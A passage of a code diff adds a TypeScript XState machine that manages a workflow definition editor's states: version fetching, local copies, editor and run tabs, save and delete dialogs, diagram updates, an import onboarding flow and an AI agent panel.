+1,1318 @@ +import { crumbsToTaskSteps } from "components/features/flow/nodes"; +import { FlowActionTypes } from "components/features/flow/state"; +import { flowMachine } from "components/features/flow/state/machine"; +import _flow from "lodash/flow"; +import _isEmpty from "lodash/isEmpty"; +import _last from "lodash/last"; +import _prop from "lodash/property"; +import { assign, createMachine, spawn } from "xstate"; +import { + localCopyMachine, + LocalCopyMachineEventTypes, + removeCopyFromStorage, +} from "../ConfirmLocalCopyDialog/state"; +import { + codeMachine, + CodeMachineEventTypes, +} from "../EditorPanel/CodeEditorTab/state"; +import { formMachine } from "../EditorPanel/TaskFormTab/state"; +import { IdempotencyStrategyEnum, runMachine } from "../RunWorkflow/state"; +import { workflowMetadataMachine } from "../WorkflowMetadata/state"; +import { + saveMachine, + SaveWorkflowMachineEventTypes, +} from "../confirmSave/state"; +import { + ErrorInspectorEventTypes, + errorInspectorMachine, +} from "../errorInspector/state"; +import { extractWorkflowMetadata } from "../helpers"; +import * as actions from "./action"; +import { WORKFLOW_TAB } from "./constants"; +import * as guards from "./guards"; +import { + fetchForImportedTemplateImportSummary, + fetchInputSchema, + fetchSecretsEndEnvironmentsList, + persistCopyInLocalStorage, + refetchCurrentWorkflowVersionsService, +} from "./services"; +import { + DefinitionMachineContext, + DefinitionMachineEventTypes, + WorkflowDefinitionEvents, +} from "./types"; + +const selectedTaskReferenceName = _flow([_last, _prop("ref")]); + +export const workflowDefinitionMachine = createMachine< + DefinitionMachineContext, + WorkflowDefinitionEvents +>( + { + predictableActionArguments: true, + id: "workflowDefinitionMachine", + initial: "init", + context: { + successfullyImportedWorkflowId: undefined, + currentWf: undefined, + workflowChanges: {}, + isNewWorkflow: false, + workflowName: undefined, + currentVersion: undefined, + workflowVersions: [], + selectedTaskCrumbs: [], + authHeaders: {}, // This should be in auth actor + message: { + text: undefined, + severity: undefined, + }, + localCopyMessage: undefined, + openedTab: WORKFLOW_TAB, + previousTab: WORKFLOW_TAB, + lastPerformedOperation: undefined, + errorInspectorMachine: undefined, + downloadFileObj: undefined, + lastRemovalOperation: undefined, + workflowTemplateId: undefined, + collapseWorkflowList: [], + isAgentExpanded: false, + }, + on: { + [DefinitionMachineEventTypes.UPDATE_ATTRIBS_EVT]: { + actions: ["persistWorkflowAttribs"], + target: "fetchForVersions", + }, + [DefinitionMachineEventTypes.TOGGLE_META_BAR_EDIT_MODE_EVT]: { + actions: ["toggleMetaBarEditMode"], + }, + [DefinitionMachineEventTypes.TOGGLE_AGENT_EXPANDED]: { + actions: ["toggleAgentExpanded"], + }, + }, + states: { + fetchForVersions: { + invoke: { + src: "refetchCurrentWorkflowVersionsService", + onDone: { + actions: ["persistWorkflowVersionsParsed"], + target: "checkLocalStorage", + }, + }, + }, + init: { + entry: assign({ + errorInspectorMachine: (ctx: DefinitionMachineContext) => + spawn( + errorInspectorMachine.withContext({ + authHeaders: ctx.authHeaders, + currentWf: undefined, + workflowErrors: [], + taskErrors: [], + serverErrors: [], + crumbMap: undefined, + workflowReferenceProblems: [], + taskReferencesProblems: [], + unreachableTaskProblems: [], + runWorkflowErrors: [], + }), + "errorInspectorMachine", + ), + // @ts-ignore + flowMachine: (ctx: DefinitionMachineContext) => + spawn( + flowMachine.withContext({ + authHeaders: ctx.authHeaders, + currentWf: {}, + selectedNodeIdx: undefined, + nodes: [], + edges: [], + menuOperationContext: undefined, + openedNode: undefined, + }), + "flowMachine", + ), + }), + }, + checkLocalStorage: { + invoke: { + id: "localCopyMachine", + src: localCopyMachine, + data: { + lastStoredVersion: ({ + workflowChanges, + }: DefinitionMachineContext) => workflowChanges, + workflowName: ({ workflowName }: DefinitionMachineContext) => + workflowName, + currentVersion: ({ currentVersion }: DefinitionMachineContext) => + currentVersion, + isNewWorkflow: ({ isNewWorkflow }: DefinitionMachineContext) => + isNewWorkflow, + currentWf: ({ currentWf }: DefinitionMachineContext) => currentWf, + }, + onDone: { + actions: [ + "updateWfFromLocalStorage", + "maybePersistLocalCopyMessage", + ], + target: ["presentEditor"], + }, + onError: {}, + }, + entry: "forwardWorkflowToLocalCopyMachine", + }, + presentEditor: { + always: [ + // condition has changes from localStorage send to ready\ + { + cond: "isNewWorkflow", + target: "ready", + }, + + { + target: "fetchForWorkflow", + cond: ({ + currentVersion, + workflowVersions, + }: DefinitionMachineContext) => + currentVersion !== null || workflowVersions?.length > 1, + }, + { + target: "backToList", + cond: ({ currentVersion }: DefinitionMachineContext) => + currentVersion === null, + }, + ], + }, + backToList: { + initial: "waitForActions", + states: { + waitForActions: { + after: { + 100: "goBack", + }, + }, + goBack: { + entry: "goBackToDefinitionSelection", + type: "final", + }, + }, + }, + fetchForWorkflow: { + invoke: { + src: "fetchWorkflow", + onDone: { + actions: ["updateWf"], + target: "fetchForInputSchema", + }, + onError: { + actions: ["processErrorFetching"], + target: "errorFetchingWorkflow", + }, + }, + }, + fetchForInputSchema: { + invoke: { + src: "fetchInputSchema", + onDone: { + actions: ["updateWfDefaultRunParam"], + target: "ready", + }, + onError: { + target: "ready", + }, + }, + }, + ready: { + entry: "sendWorkflowToInspector", + type: "parallel", + states: { + agentAutoExpand: { + initial: "waiting", + states: { + waiting: { + after: { + // Delay expansion to allow workflow diagram to render first + 400: { + target: "expanded", + actions: "autoExpandAgentForNewWorkflow", + cond: "isNewWorkflow", + }, + }, + }, + expanded: { + type: "final", + }, + }, + }, + rightPanel: { + initial: "opened", + on: { + [DefinitionMachineEventTypes.PERFORM_OPERATION_EVT]: { + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.pendingSelections", + cond: "isAddOperation", + }, + [FlowActionTypes.SELECT_NODE_EVT]: { + actions: ["collapseAgent"], + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.tabFocus", + cond: "isValidSelection", + }, + [DefinitionMachineEventTypes.SYNC_RUN_CONTEXT_AND_CHANGE_TAB]: { + actions: [ + "updateRunTabFormState", + "changeTab", + "gtagEventLogger", + "cleanRunErrors", + ], + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.tabFocus", + }, + [DefinitionMachineEventTypes.COLLAPSE_SIDEBAR_AND_RIGHT_PANEL]: { + actions: ["closeLeftSidebar"], + target: "#workflowDefinitionMachine.ready.rightPanel.closed", + }, + }, + states: { + opened: { + initial: "pendingSelections", + states: { + refetchCurrentWorkflowVersions: { + invoke: { + src: "refetchCurrentWorkflowVersionsService", + id: "refetch-wf-versions", + onError: { + target: "#workflowDefinitionMachine.backToList", + actions: ["logStuff"], + }, + onDone: [ + { + cond: "isLastVersion", + actions: ["resetChanges"], //reset changes so we dont get trapped in the dialog + target: "#workflowDefinitionMachine.backToList", + }, + { + actions: ["persistLatestVersion", "pushToHistory"], + }, + ], + }, + }, + deleteWorkflow: { + invoke: { + src: "deleteWorkflowVersion", + id: "delete-workflow", + onError: { + actions: ["logStuff"], + }, + onDone: { + actions: ["removeLocalCopy", "resetCurrentVersion"], + target: "refetchCurrentWorkflowVersions", + }, + }, + }, + + pendingSelections: { + always: [ + { + target: "addressPendingSelections", + cond: "hasLastPerformedOperation", + }, + { target: "tabFocus" }, + ], + }, + addressPendingSelections: { + on: { + [DefinitionMachineEventTypes.FLOW_FINISHED_RENDERING]: { + actions: ["selectNewTask", "cleanLastOperation"], + target: "tabFocus", + }, + [DefinitionMachineEventTypes.CHANGE_TAB_EVT]: { + // In case something fails allow user to change tabs + actions: [ + "changeTab", + "cleanLastOperation", + "gtagEventLogger", + ], + target: "tabFocus", + }, + }, + }, + codeEditor: { + exit: ["cleanCodeTextReference", "cleanSerializationError"], + invoke: { + src: codeMachine, + id: "codeMachine", + data: { + originalWorkflow: ({ + currentWf, + }: DefinitionMachineContext) => currentWf, + editorChanges: ({ + workflowChanges, + }: DefinitionMachineContext) => + JSON.stringify(workflowChanges, null, 2), + errorInspectorMachine: ({ + errorInspectorMachine, + }: DefinitionMachineContext) => errorInspectorMachine, + referenceText: ({ + selectedTaskCrumbs, + codeTextReference, + }: DefinitionMachineContext) => { + // Has a persisted error + if (codeTextReference) { + return codeTextReference; + } + + // maybe has a selected task + const selectedTaskReference = + selectedTaskReferenceName(selectedTaskCrumbs || []); + if (selectedTaskReference) { + return { + textReference: selectedTaskReference, + referenceReason: "info", + }; + } + return undefined; + }, + }, + }, + on: { + [ErrorInspectorEventTypes.WORKFLOW_WITH_NO_ERRORS]: { + actions: [ + "persistWorkflowChanges", + "notifyFlowUpdates", + "startRenderingGtag", + ], + cond: "workflowWasSentWithNoErrors", + }, + [ErrorInspectorEventTypes.WORKFLOW_HAS_ERRORS]: { + actions: ["persistWorkflowChanges"], + cond: "workflowWasSentWithNoErrors", + }, + [DefinitionMachineEventTypes.CHANGE_TAB_EVT]: [ + { + cond: "comesFromCodeAimsTaskTabHasSelectedTask", + actions: ["collapseAgent", "reSelectTaskIfSelected"], + target: "tabFocus", + }, + { + actions: ["changeTab"], + cond: "isDifferentTab", + target: "tabFocus", + }, + // Same tab — still minimize assistant + { + actions: ["collapseAgent"], + }, + ], + [CodeMachineEventTypes.HIGHLIGHT_TEXT_REFERENCE]: { + actions: ["forwardToCodeMachine", "collapseAgent"], + }, + [CodeMachineEventTypes.JUMP_TO_FIRST_ERROR]: { + actions: ["forwardToCodeMachine", "collapseAgent"], + }, + [DefinitionMachineEventTypes.WORKFLOW_FROM_AGENT]: { + actions: "forwardWorkflowToCodeMachine", + }, + }, + }, + taskEditor: { + invoke: { + id: "formTaskMachine", + src: formMachine, + data: ({ + selectedTaskCrumbs, + workflowChanges, + authHeaders, + }: DefinitionMachineContext) => { + const tasksBranch = _isEmpty(selectedTaskCrumbs) + ? [] + : crumbsToTaskSteps( + selectedTaskCrumbs, + workflowChanges?.tasks || [], + ); + const crumbs = selectedTaskCrumbs; + const workflowInputParameters = + workflowChanges?.inputParameters; + const originalTask = _last(tasksBranch); + return { + originalTask, + taskChanges: originalTask, + crumbs, + tasksBranch, + workflowInputParameters, + authHeaders, + }; + }, + }, + on: { + [ErrorInspectorEventTypes.WORKFLOW_WITH_NO_ERRORS]: { + actions: ["forwardCleanWorkflow", "sendCrumbUpdates"], + cond: "workflowWasSentWithNoErrors", + }, + [ErrorInspectorEventTypes.WORKFLOW_HAS_ERRORS]: { + actions: ["setFlowAsReadOnly"], + cond: "workflowWasSentWithNoErrors", + }, + [DefinitionMachineEventTypes.REPLACE_TASK_EVT]: { + actions: [ + "replaceTask", + "validateWorkflow", + "updateSelectedCrumbs", + "gtagEventLogger", + ], + }, + [DefinitionMachineEventTypes.CHANGE_TAB_EVT]: [ + { + actions: ["changeTab", "gtagEventLogger"], + cond: "isDifferentTab", + target: "tabFocus", + }, + { + actions: ["collapseAgent"], + }, + ], + [FlowActionTypes.SELECT_NODE_EVT]: { + actions: ["collapseAgent"], + target: "tabFocusAfter", + cond: "isValidSelection", + }, + [FlowActionTypes.SELECT_EDGE_EVT]: { + actions: ["forwardSelectEdge"], + }, + [FlowActionTypes.UPDATE_COLLAPSE_WORKFLOW_LIST]: { + actions: ["forwardCollapseWorkflowList"], + }, + [DefinitionMachineEventTypes.FLOW_FINISHED_RENDERING]: { + actions: ["updateCollapseWorkflowList"], + }, + }, + }, + runWorkflow: { + tags: ["runWorkflowTab"], + invoke: { + id: "runWorkflowMachine", + src: runMachine, + data: { + authHeaders: ({ + authHeaders, + }: DefinitionMachineContext) => authHeaders, + currentWf: ({ + currentWf, + workflowName, + }: DefinitionMachineContext) => ({ + ...currentWf, + name: workflowName, // This allows running shared workflows. we only update workflowName when workflow is saved + }), + errorInspectorMachine: ({ + errorInspectorMachine, + }: DefinitionMachineContext) => errorInspectorMachine, + input: ({ + runTabFormState, + }: DefinitionMachineContext) => + runTabFormState?.input ?? "{}", + workflowDefaultRunParam: ({ + workflowDefaultRunParam, + }: DefinitionMachineContext) => workflowDefaultRunParam, + correlationId: ({ + runTabFormState, + }: DefinitionMachineContext) => + runTabFormState?.correlationId ?? undefined, + taskToDomain: ({ + runTabFormState, + }: DefinitionMachineContext) => + runTabFormState?.taskToDomain ?? "{}", + idempotencyKey: ({ + runTabFormState, + }: DefinitionMachineContext) => + runTabFormState?.idempotencyKey ?? undefined, + idempotencyStrategy: ({ + runTabFormState, + }: DefinitionMachineContext) => + runTabFormState?.idempotencyStrategy ?? + IdempotencyStrategyEnum.RETURN_EXISTING, + }, + }, + on: { + [DefinitionMachineEventTypes.CHANGE_TAB_EVT]: [ + { + actions: ["forwardToRunWorkflowMachine"], + cond: "isDifferentTab", + }, + { + actions: ["collapseAgent"], + }, + ], + [DefinitionMachineEventTypes.REDIRECT_TO_EXECUTION_PAGE]: + { + actions: ["redirectToExecutionPage"], + }, + }, + }, + dependencies: { + tags: ["dependenciesTab"], + + on: { + [DefinitionMachineEventTypes.CHANGE_TAB_EVT]: [ + { + actions: ["changeTab", "gtagEventLogger"], + cond: "isDifferentTab", + target: "tabFocus", + }, + { + actions: ["collapseAgent"], + }, + ], + [DefinitionMachineEventTypes.REDIRECT_TO_EXECUTION_PAGE]: + { + actions: ["redirectToExecutionPage"], + }, + }, + }, + tabFocusAfter: { + // always type transitions wont target an actual transition. If condition did not change + // We want the transition to happen to get a re-render + after: { + 50: { target: "tabFocus" }, + }, + }, + workflowEditor: { + invoke: { + src: workflowMetadataMachine, + id: "workflowTabMetaEditor", + data: { + metadata: (context: DefinitionMachineContext) => + extractWorkflowMetadata(context.workflowChanges!), + metadataChanges: (context: DefinitionMachineContext) => + extractWorkflowMetadata(context.workflowChanges!), + authHeaders: (context: DefinitionMachineContext) => + context.authHeaders, + editableFields: [ + "inputParameters", + "outputParameters", + "restartable", + "timeoutSeconds", + "timeoutPolicy", + "failureWorkflow", + "name", + "description", + "inputSchema", + "outputSchema", + "enforceSchema", + "workflowStatusListenerEnabled", + "workflowStatusListenerSink", + "rateLimitConfig", + ], + childActorsMachineName: "metadataFieldMachine", + }, + }, + on: { + [DefinitionMachineEventTypes.CHANGE_TAB_EVT]: [ + { + actions: ["changeTab", "gtagEventLogger"], + cond: "isDifferentTab", + target: "tabFocus", + }, + { + actions: ["collapseAgent"], + }, + ], + [LocalCopyMachineEventTypes.USE_LOCAL_COPY_WORKFLOW]: { + actions: [ + "forwardWorkflowToTabMetadataEditorMachine", + "forwardWorkflowToMetadataEditorMachine", + ], + }, + [DefinitionMachineEventTypes.UPDATE_WF_METADATA_EVT]: { + actions: [ + "updateWFMetadata", + "validateWorkflow", + "notifyToFlowIfOutputParameters", + "gtagEventLogger", + ], // Will notify flow only if outputParameters were modified, else log + }, + [DefinitionMachineEventTypes.RESET_CONFIRM_EVT]: { + actions: [ + "sendWorkflowChangesToMetadataMachine", + "cleanLocalCopyMessage", + "gtagEventLogger", + ], + }, + }, + }, + tabFocus: { + always: [ + { target: "codeEditor", cond: "isEditorTab" }, + { target: "taskEditor", cond: "isTaskEditorTab" }, + { + target: "workflowEditor", + cond: "isWorkflowEditorTab", + }, + { target: "runWorkflow", cond: "isRunTab" }, + { target: "dependencies", cond: "isDependenciesTab" }, + ], + }, + confirmReset: { + on: { + [DefinitionMachineEventTypes.RESET_CONFIRM_EVT]: { + actions: [ + "resetChanges", // Go back to old version + "cleanServerErrors", // Clean server errors + "removeLocalCopy", // Tell actor to remove local copy + "sendWorkflowToInspector", // Tell actor what the new workflow is + "notifyFlowUpdates", // Tell actor to redo the nodes for the new changes + "notifyFlowResetZoomPosition", // Tell actor to reset zoom, position of diagram + "startRenderingGtag", + "cleanLocalCopyMessage", + ], + target: "tabFocus", + }, + [DefinitionMachineEventTypes.CANCEL_EVENT_EVT]: { + target: "tabFocus", + actions: ["gtagEventLogger"], + }, + }, + }, + saveRunRequest: { + tags: ["saveRequest"], + initial: "confirmSave", + states: { + confirmSave: { + entry: ["setFlowAsReadOnly"], + invoke: { + src: "saveMachine", + id: "saveChangesMachine", + onDone: {}, + onError: { + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.tabFocus", + }, + data: { + editorChanges: ({ + workflowChanges, + }: DefinitionMachineContext) => + JSON.stringify(workflowChanges, null, 2), + workflowName: ({ + workflowName, + }: DefinitionMachineContext) => workflowName, + currentVersion: ({ + currentVersion, + }: DefinitionMachineContext) => currentVersion, + isNewWorkflow: ({ + isNewWorkflow, + }: DefinitionMachineContext) => isNewWorkflow, + currentWf: ({ + currentWf, + }: DefinitionMachineContext) => currentWf, + authHeaders: ({ + authHeaders, + }: DefinitionMachineContext) => authHeaders, + errorInspectorMachine: ({ + errorInspectorMachine, + }: DefinitionMachineContext) => + errorInspectorMachine, + isNewVersion: ( + __context: DefinitionMachineContext, + { isNewVersion }: { isNewVersion: boolean }, + ) => isNewVersion, + isContinueCreate: ( + __context: DefinitionMachineContext, + { + originalEvent, + }: { originalEvent: DefinitionMachineEventTypes }, + ) => + originalEvent === + DefinitionMachineEventTypes.HANDLE_SAVE_AND_CREATE_NEW, + }, + }, + on: { + [SaveWorkflowMachineEventTypes.SAVED_CANCELLED]: { + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.tabFocus", + actions: [ + "changeToPreviousTab", + "persistWorkflowChanges", + "notifyFlowUpdates", + ], + }, + [SaveWorkflowMachineEventTypes.SAVED_SUCCESSFUL]: { + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.runWorkflow", + actions: [ + "showSuccessMassage", + "cleanLastOperation", + "persistWorkflowNameAndVersion", + "cleanLocalCopyMessage", // Note push to history has a callback event since the url will change. + "cleanInitialSelectedTaskReferenceName", + "justExecute", + ], + }, + }, + }, + }, + }, + saveRequest: { + tags: ["saveRequest"], + initial: "confirmSave", + states: { + confirmSave: { + entry: ["setFlowAsReadOnly"], + invoke: { + src: "saveMachine", + id: "saveChangesMachine", + onDone: {}, + onError: { + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.tabFocus", + }, + data: { + editorChanges: ({ + workflowChanges, + }: DefinitionMachineContext) => + JSON.stringify(workflowChanges, null, 2), + workflowName: ({ + workflowName, + }: DefinitionMachineContext) => workflowName, + currentVersion: ({ + currentVersion, + }: DefinitionMachineContext) => currentVersion, + isNewWorkflow: ({ + isNewWorkflow, + }: DefinitionMachineContext) => isNewWorkflow, + currentWf: ({ + currentWf, + }: DefinitionMachineContext) => currentWf, + authHeaders: ({ + authHeaders, + }: DefinitionMachineContext) => authHeaders, + errorInspectorMachine: ({ + errorInspectorMachine, + }: DefinitionMachineContext) => + errorInspectorMachine, + isNewVersion: ( + __context: DefinitionMachineContext, + { isNewVersion }: { isNewVersion: boolean }, + ) => isNewVersion, + isContinueCreate: ( + __context: DefinitionMachineContext, + { + originalEvent, + }: { originalEvent: DefinitionMachineEventTypes }, + ) => + originalEvent === + DefinitionMachineEventTypes.HANDLE_SAVE_AND_CREATE_NEW, + }, + }, + on: { + [SaveWorkflowMachineEventTypes.CANCEL_SAVE_EVT]: { + actions: "forwardToSaveMachine", + }, + [SaveWorkflowMachineEventTypes.SAVED_CANCELLED]: { + target: + "#workflowDefinitionMachine.ready.rightPanel.opened.tabFocus", + actions: [ + "changeToPreviousTab", + "persistWorkflowChanges", + "notifyFlowUpdates", + "startRenderingGtag", + ], + }, + [SaveWorkflowMachineEventTypes.SAVED_SUCCESSFUL]: { + target: "#workflowDefinitionMachine.presentEditor", + actions: [ + "showSuccessMassage", + "cleanLastOperation", + "changeToPreviousTab", + "persistWorkflowNameAndVersion", + "cleanLocalCopyMessage", // Note push to history has a callback event since the url will change. + "cleanInitialSelectedTaskReferenceName", + "pushToHistory", + "raiseUpdateAtribsEvent", + ], + }, + }, + }, + }, + }, + confirmDelete: { + on: { + [DefinitionMachineEventTypes.DELETE_CONFIRM_EVT]: { + target: "deleteWorkflow", + }, + [DefinitionMachineEventTypes.CANCEL_EVENT_EVT]: { + target: "tabFocus", + }, + }, + }, + }, + on: { + [DefinitionMachineEventTypes.SAVE_EVT]: [ + { + cond: "isDescriptionEmpty", + actions: ["fireChangeToWorkflowTab"], + }, + { + cond: "isSaveAndRunWithNoChanges", + target: ".runWorkflow", + actions: ["justExecute"], + // actions: ["fireChangeToRunTab"], + }, + { + cond: "isSaveAndRunRequest", + target: ".saveRunRequest", + actions: ["changeToCodeTab", "validateWorkflow"], + }, + { + target: ".saveRequest", + actions: [ + "changeToCodeTab", + "validateWorkflow", + "gtagEventLogger", + ], + }, + ], + [DefinitionMachineEventTypes.HANDLE_SAVE_AND_RUN]: { + actions: ["fireSaveEvent"], + }, + [DefinitionMachineEventTypes.HANDLE_SAVE_AND_CREATE_NEW]: { + actions: [ + "setSaveSourceEventType", + "fireSaveAndCreateNewRequestEvent", + ], + }, + [DefinitionMachineEventTypes.RESET_EVT]: { + target: ".confirmReset", + actions: ["gtagEventLogger"], + }, + [DefinitionMachineEventTypes.DELETE_EVT]: { + target: ".confirmDelete", + actions: ["gtagEventLogger"], + }, + [DefinitionMachineEventTypes.CHANGE_VERSION_EVT]: { + actions: ["setVersion", "pushToHistory", "gtagEventLogger"], + }, + [DefinitionMachineEventTypes.ASSIGN_MESSAGE_EVT]: { + actions: ["setMessage", "gtagEventLogger"], + }, + [DefinitionMachineEventTypes.MESSAGE_RESET_EVT]: { + actions: ["resetMessage", "gtagEventLogger"], + }, + [DefinitionMachineEventTypes.REMOVE_TASK_EVT]: { + actions: [ + "removeTask", + "cleanTaskCrumbSelection", + "notifyFlowUpdates", + "changeToPreviousTab", + "startRenderingGtag", + "removeQueryParam", + ], + target: ".tabFocus", + }, + [CodeMachineEventTypes.HIGHLIGHT_TEXT_REFERENCE]: { + actions: [ + "persistCodeReference", + "fireChangeToCodeTab", + "collapseAgent", + ], + }, + [DefinitionMachineEventTypes.HANDLE_LEFT_PANEL_EXPANDED]: { + target: "closed", + cond: (_, data: any) => (data?.onSelectNode ? false : true), + }, + }, + }, + closed: { + on: { + [DefinitionMachineEventTypes.HANDLE_LEFT_PANEL_EXPANDED]: { + target: "opened", + }, + [DefinitionMachineEventTypes.RESET_EVT]: { + actions: ["raiseResetEvent"], + target: "opened", + }, + [DefinitionMachineEventTypes.DELETE_EVT]: { + actions: ["raiseDeleteEvent"], + target: "opened", + }, + [DefinitionMachineEventTypes.SAVE_EVT]: { + actions: ["raiseSaveEvent"], + target: "opened", + }, + [DefinitionMachineEventTypes.HANDLE_SAVE_AND_RUN]: { + actions: ["raiseSaveAndRunEvent"], + target: "opened", + }, + [DefinitionMachineEventTypes.HANDLE_SAVE_AND_CREATE_NEW]: { + actions: [ + "setSaveSourceEventType", + "raiseSaveAndCreateNewEvent", + ], + target: "opened", + }, + [DefinitionMachineEventTypes.CHANGE_VERSION_EVT]: { + actions: ["setVersion", "pushToHistory", "gtagEventLogger"], + }, + }, + }, + }, + }, + diagram: { + entry: "notifyFlowUpdates", + initial: "rendered", + states: { + validateAndNotifyUpdates: { + entry: ["validateWorkflow"], + on: { + [ErrorInspectorEventTypes.WORKFLOW_WITH_NO_ERRORS]: { + actions: ["notifyFlowUpdates", "startRenderingGtag"], + cond: "workflowWasSentWithNoErrors", + target: "rendered", + }, + [ErrorInspectorEventTypes.WORKFLOW_HAS_ERRORS]: { + actions: ["setFlowAsReadOnly"], + cond: "workflowWasSentWithNoErrors", + target: "rendered", + }, + }, + }, + rendered: { + on: { + [DefinitionMachineEventTypes.REMOVE_BRANCH_EVT]: { + actions: [ + "persistRemovalOperation", + "fireChangeToWorkflowTab", + "gtagEventLogger", + ], + target: "branchRemoval", + }, + [DefinitionMachineEventTypes.ADD_NEW_SWITCH_PATH_EVT]: { + actions: ["addNewSwitchStatementToTask", "gtagEventLogger"], + target: "validateAndNotifyUpdates", + }, + [DefinitionMachineEventTypes.PERFORM_OPERATION_EVT]: { + actions: [ + "performOperation", + "persistLastOperation", + "gtagEventLogger", + ], + target: "validateAndNotifyUpdates", + }, + [ErrorInspectorEventTypes.REPORT_FLOW_ERROR]: { + actions: "forwardToErrorInspector", + }, + [DefinitionMachineEventTypes.FLOW_FINISHED_RENDERING]: { + actions: [ + "forwardToErrorInspector", + "maybeSelectInitialSelectedTaskReference", + "cleanInitialSelectedTaskReferenceName", + ], + }, + [DefinitionMachineEventTypes.MOVE_TASK_EVT]: { + actions: ["moveTaskFromLocation", "selectMovedTask"], + target: "validateAndNotifyUpdates", + }, + [DefinitionMachineEventTypes.WORKFLOW_FROM_AGENT]: { + target: "validateAndNotifyUpdates", + }, + [FlowActionTypes.SELECT_NODE_EVT]: { + actions: [ + "collapseAgent", + "persistSelectedTabCrumbs", + "changeToTaskTab", + "handleLeftPanelExpanded", + "setQueryParam", + ], + cond: "isValidSelection", + }, + }, + }, + branchRemoval: { + // TODO This looks like it could be extracted to a machine + // if no forks then the forkJoin makes no sense. + initial: "removalMakesSense", + states: { + removalMakesSense: { + always: [ + { + cond: "wantToRemoveLastForkIndex", + target: "confirmForkJoinRemoval", + }, + { + cond: "selectedTaskIsInForkBranch", + target: "switchToWorkflowTab", + }, + { + cond: "selectedTaskIsInSwitchBranch", + target: "switchToWorkflowTab", + }, + { + target: "cleanAndRender", + }, + ], + }, + switchToWorkflowTab: { + entry: [ + "fireChangeToWorkflowTab", + "cleanTaskCrumbSelection", + ], + always: "cleanAndRender", + }, + cleanAndRender: { + entry: [ + "removeBranchFromTask", + "cleanLastRemovalOperation", + "reSelectTaskIfSelected", + ], + always: + "#workflowDefinitionMachine.ready.diagram.validateAndNotifyUpdates", + }, + confirmForkJoinRemoval: { + on: { + [DefinitionMachineEventTypes.CONFIRM_LAST_FORK_REMOVAL]: { + actions: [ + "applyLastRemovalOperationAsRemoveTaskOperation", + "validateWorkflow", + "cleanLastRemovalOperation", + "gtagEventLogger", + ], + target: + "#workflowDefinitionMachine.ready.diagram.validateAndNotifyUpdates", + }, + [DefinitionMachineEventTypes.CANCEL_EVENT_EVT]: { + actions: ["cleanLastRemovalOperation"], + target: + "#workflowDefinitionMachine.ready.diagram.rendered", + }, + }, + }, + }, + }, + }, + }, + localCopiesKeeper: { + on: { + [ErrorInspectorEventTypes.WORKFLOW_WITH_NO_ERRORS]: { + cond: "workflowWasSentWithNoErrors", + target: ".storeInLocalStorage", + }, + [LocalCopyMachineEventTypes.REMOVE_LOCAL_COPY_MESSAGE]: { + actions: ["cleanLocalCopyMessage"], + }, + [LocalCopyMachineEventTypes.REMOVE_LOCAL_COPY]: { + target: ".removeWorkflowFromStorage", + }, + }, + initial: "cleanLocalCopyMessage", + states: { + idle: {}, + storeInLocalStorage: { + invoke: { + src: "persistCopyInLocalStorage", + onDone: { + target: "idle", + }, + }, + }, + removeWorkflowFromStorage: { + invoke: { + src: "removeCopyFromStorage", + onDone: { + target: "idle", + }, + }, + }, + cleanLocalCopyMessage: { + after: { + 5000: { + actions: ["cleanLocalCopyMessage"], + target: "idle", + }, + }, + }, + }, + }, + fetchForSecrets: { + initial: "fetchSecretsList", + states: { + idle: {}, + fetchSecretsList: { + invoke: { + src: "fetchSecretsEndEnvironmentsList", + id: "fetch-secrets-and-envs", + onDone: { + actions: ["updateSecretsAndEnvs"], + target: "idle", + }, + onError: { + actions: ["logStuff"], + target: "idle", + }, + }, + }, + }, + }, + importSuccessfulFlow: { + initial: "pullImportSummary", + states: { + idle: { + entry: ["dismissImportSuccessfullParam"], + }, + pullImportSummary: { + invoke: { + src: "fetchForImportedTemplateImportSummary", + onDone: [ + { + cond: (_, { data }) => data != null, + actions: ["persistImportSummary"], + target: "checkFirstTimeFlow", + }, + { + target: "checkFirstTimeFlow", + }, + ], + }, + }, + checkFirstTimeFlow: { + always: [ + { + cond: "dontNeedToShowImportSuccessfulDialog", + target: "idle", + }, + { + target: "closeLeftSidebar", + }, + ], + }, + closeLeftSidebar: { + entry: ["closeLeftSidebar"], + after: { + 500: { + target: "showImportSuccessfulFlow", + }, + }, + }, + showImportSuccessfulFlow: { + initial: "showCongratsMessage", + on: { + [DefinitionMachineEventTypes.DISMISS_IMPORT_SUCCESSFUL_DIALOG]: + { + target: "idle", + }, + }, + states: { + idle: { + entry: [ + "dismissImportSuccessfullParam", + "markDontShowImportSuccessfulDialogAgain", + ], + }, + showCongratsMessage: { + tags: ["showCongratsMessage"], + on: { + [DefinitionMachineEventTypes.NEXT_STEP_IMPORT_SUCCESSFUL_DIALOG]: + { + target: "showRunMessage", + actions: ["fireChangeToRunTab"], + }, + }, + }, + showRunMessage: { + tags: ["showRunMessage"], + on: { + [DefinitionMachineEventTypes.NEXT_STEP_IMPORT_SUCCESSFUL_DIALOG]: + [ + { + cond: "importSummaryHasDependencies", + target: "showDependenciesTab", + actions: ["fireChangeToDependenciesTab"], + }, + { + target: "showDescriptionTooltip", + actions: [ + "fireChangeToWorkflowTab", + "showTaskDescriptions", + ], + }, + ], + }, + }, + showDependenciesTab: { + tags: ["showDependenciesMessage"], + on: { + [DefinitionMachineEventTypes.NEXT_STEP_IMPORT_SUCCESSFUL_DIALOG]: + { + target: "showDescriptionTooltip", + actions: [ + "fireChangeToWorkflowTab", + "showTaskDescriptions", + ], + }, + }, + }, + showDescriptionTooltip: { + tags: ["showDescriptionTooltip"], + on: { + [DefinitionMachineEventTypes.NEXT_STEP_IMPORT_SUCCESSFUL_DIALOG]: + { + actions: ["showTaskDescriptions", "openLeftSidebar"], + target: "idle", + }, + }, + }, + }, + }, + }, + }, + agent: { + initial: "idle", + states: { + idle: { + on: { + [DefinitionMachineEventTypes.WORKFLOW_FROM_AGENT]: { + actions: [ + "persistWorkflowChanges", + // syncTaskFormWithAgentWorkflow must run before + // sendWorkflowChangesToMetadataMachineFromEvent: the metadata + // machine send throws when the user is on the task tab (the + // workflowTabMetaEditor child actor is not running), which would + // prevent the task form from receiving the updated workflow. + "syncTaskFormWithAgentWorkflow", + "sendWorkflowChangesToMetadataMachineFromEvent", + ], + target: "idle", + }, + }, + }, + }, + }, + }, + after: { + 5000: { + actions: ["cleanLocalCopyMessage"], + }, + 